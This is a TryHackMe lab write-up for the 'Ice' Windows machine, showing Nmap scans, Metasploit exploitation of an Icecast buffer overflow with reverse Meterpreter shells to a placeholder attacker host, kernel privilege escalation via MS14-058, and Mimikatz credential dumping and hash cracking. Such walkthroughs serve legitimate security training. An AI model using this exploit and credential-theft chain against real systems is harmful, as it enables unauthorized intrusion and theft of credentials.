Ice Writeup - TryHackMe
Ice is an Easy Windows machine running Icecast, an open-source streaming media server. Versions before 2.0.2 contain a buffer overflow in HTTP header handling (CVE-2004-1561) that gives unauthenticated remote code execution. After landing a low-privilege shell as Dark-PC\Dark, privilege escalation goes through a kernel exploit in win32k.sys (MS14-058, CVE-2014-4113) that bypasses UAC entirely and delivers a SYSTEM shell. From there, Mimikatz (via Kiwi) recovers plaintext credentials directly from memory.
Reconnaissance
A full port scan first to find all open ports, then a targeted version scan against the interesting ones. This avoids missing high-numbered services while keeping the version scan fast.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 11:19 +0200 Nmap scan report for $TARGET_IP Host is up (0.019s latency). Not shown: 61592 closed tcp ports (reset), 3933 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5357/tcp open wsdapi 8000/tcp open http-alt 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49160/tcp open unknown 49184/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
Port 8000 stands out, that is the default port for Icecast. The high ports above 49000 are standard Windows ephemeral RPC. Version scan against the relevant ports:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 11:21 +0200 Nmap scan report for $TARGET_IP Host is up (0.019s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 8000/tcp open http Icecast streaming media server |_http-title: Site doesn't have a title (text/html). Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.1: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | Computer name: Dark-PC | NetBIOS computer name: DARK-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2026-09-13T04:21:32-05:00 Nmap done: 1 IP address (1 host up) scanned in 17.74 seconds
The scan confirms Windows 7 Professional SP1 (build 7601) and Icecast on port 8000. The hostname DARK-PC reveals the local username: Dark. Icecast versions before 2.0.2 are vulnerable to CVE-2004-1561: a fixed-size stack buffer overflows when a request contains exactly 32 HTTP headers, overwriting the return address. No authentication required.
Initial Access
Metasploit includes a stable module for this vulnerability. The default payload is x86, which is appropriate because Icecast2.exe is a 32-bit process even on a 64-bit OS.
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp RHOSTS => $TARGET_IP LHOST => $ATTACKER_IP [*] Started reverse TCP handler on $ATTACKER_IP:4444 [*] Sending stage (203455 bytes) to $TARGET_IP [*] Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49222) at 2026-09-13 11:32:28 +0200
Shell landed as Dark-PC\Dark, a regular user. The OS is x64 but Meterpreter is x86 because it injected into the 32-bit Icecast process.
Server username: Dark-PC\Dark Computer : DARK-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows
Local exploit modules check the session architecture and abort when there is a mismatch. Migrate to a native x64 process before running anything else. taskhost.exe runs as Dark and is x64:
PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 1300 1020 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe 1320 692 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe 1488 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe 1996 1320 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
[*] Migrating from 1996 to 1488... [*] Migration completed successfully. Computer : DARK-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 Meterpreter : x64/windows
Meterpreter is now x64, matching the OS architecture.
Privilege Escalation
getsystem fails because UAC is active and blocks the standard named pipe and token duplication techniques. The local exploit suggester enumerates viable paths:
[*] $TARGET_IP - Collecting local exploits for x64/windows... [+] exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable. [+] exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable. [+] exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
MS14-058 exploits a use-after-free in win32k.sys, a kernel-level vulnerability that runs at ring 0. Unlike UAC-bypass techniques, it does not need an elevated process to start from. It bypasses UAC entirely. Set both target and payload to x64 to match the session:
SESSION => 1 LHOST => $ATTACKER_IP target => 1 payload => windows/x64/meterpreter/reverse_tcp [*] Started reverse TCP handler on $ATTACKER_IP:4444 [*] Reflectively injecting the exploit DLL and triggering the exploit... [*] Launching netsh to host the DLL... [+] Process 3516 launched. [*] Reflectively injecting the DLL into 3516... [*] Sending stage (255679 bytes) to $TARGET_IP [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 2 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49240) at 2026-09-13 11:45:03 +0200
Server username: NT AUTHORITY\SYSTEM
Full SYSTEM access. Migrate into spoolsv.exe to interact with lsass. The printer spool service runs as SYSTEM, is x64, and restarts automatically if it crashes:
[*] Migrating from 3516 to 1396... [*] Migration completed successfully.
Post-Exploitation
Load Kiwi (Metasploit's Mimikatz integration) to pull credentials directly from memory. This works even without the user actively logged in because Icecast runs as a scheduled task under the Dark account, keeping credentials cached in lsass.
Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success.
[+] Running as SYSTEM [*] Retrieving all credentials msv credentials =============== Username Domain NTLM -------- ------ ---- Dark Dark-PC $DARK_HASH wdigest credentials =================== Username Domain Password -------- ------ -------- Dark Dark-PC $DARK_PASSWORD tspkg credentials ================= Username Domain Password -------- ------ -------- Dark Dark-PC $DARK_PASSWORD kerberos credentials ==================== Username Domain Password -------- ------ -------- Dark Dark-PC $DARK_PASSWORD
Dark's plaintext password recovered from memory. Confirm with a hashdump and crack offline:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Dark:1000:aad3b435b51404eeaad3b435b51404ee:$DARK_HASH::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
The format is username:RID:LM_hash:NT_hash:::. The Administrator and Guest accounts show 31d6cfe0d16ae931b73c59d7e0c089c0, the empty hash (accounts are disabled or have no password set). Dark's NT hash is the only one worth cracking:
Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status $DARK_PASSWORD (?) 1g 0:00:00:00 DONE (2026-09-13 11:51) 2.702g/s 5684Kp/s 5684Kc/s
Dark's password cracks instantly against rockyou.txt. It passes naive complexity checks but appears in every major wordlist. With valid credentials and a SYSTEM shell, you have full control over the machine.
References
-
CVE-2004-1561CVE: CVE-2004-1561, cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1561 (opens in new tab)
Icecast HTTP header buffer overflow
-
CVE-2014-4113CVE: CVE-2014-4113, cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4113 (opens in new tab)
MS14-058 win32k.sys TrackPopupMenu use-after-free
-
Exploit-DB: Icecast 2.0.1 Header OverwriteEXPLOIT: Exploit-DB: Icecast 2.0.1 Header Overwrite, www.exploit-db.com/exploits/25396 (opens in new tab)
Metasploit module reference
-
HTTP service enumeration and exploitation